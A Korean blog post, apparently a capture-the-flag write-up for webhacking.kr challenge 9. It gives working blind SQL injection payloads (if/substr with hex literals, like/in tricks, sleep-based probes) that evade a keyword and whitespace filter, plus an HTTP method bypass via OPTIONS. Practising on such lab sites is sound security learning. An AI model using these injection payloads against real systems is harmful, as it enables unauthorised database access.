write-up/webhacking.kr

9번

범고래_1 2016. 7. 17. 00:27


http method GET, POST가 막혀있다.

htaccess 등으로 limit 걸어놓은듯 하다.


OPTIONS 등으로 우회해주자.

크롬 extension 툴인 YARC (Yet Another REST Client)를 이용하였다.



필터링 목록이 꽤 빡쎄다.

or

and

+

union

select

ascii

char


여기에다 공백까지 못 쓴다. %0a, %0b 모두 막혀있다....


?no=1



?no=3



예상할 수 있는 쿼리는


select id from table where no={$_GET[no]}



if문과 substr을 이용해 한 글자씩 잘라냈다.

그런데 문제는 쿼터와 ord함수, ascii함수를 못 쓴다.


?no=if(substr(id,1,1)like(0x61),3,0)


?no=if(substr(id,1,1)in(0x61),3,0)


백 우회 요래 해주면 된다.

생각지도 못한 방법....ㅋ


참이면 if함수가 3을 반환하여 ?no=3과 같이 된다.



스크립트는 


?no=if(substr(id,1,1)like(0x"+string[x].encode('hex')+"),3,0)


이렇게 짰다.


공백우회가 매우 어려웠던 문제다.


==========================================

check injection point

?no=sleep(1)

하면 sleep함수가 동작함을 알 수있다.


?no=1^sleep(1)

마찬가지.








'write-up > webhacking.kr' 카테고리의 다른 글

55번  (0) 2018.08.18
22  (0) 2016.08.23
13번  (0) 2016.07.16
webhacking.kr 파일 업로드 문제  (0) 2016.07.16
57번  (0) 2016.04.09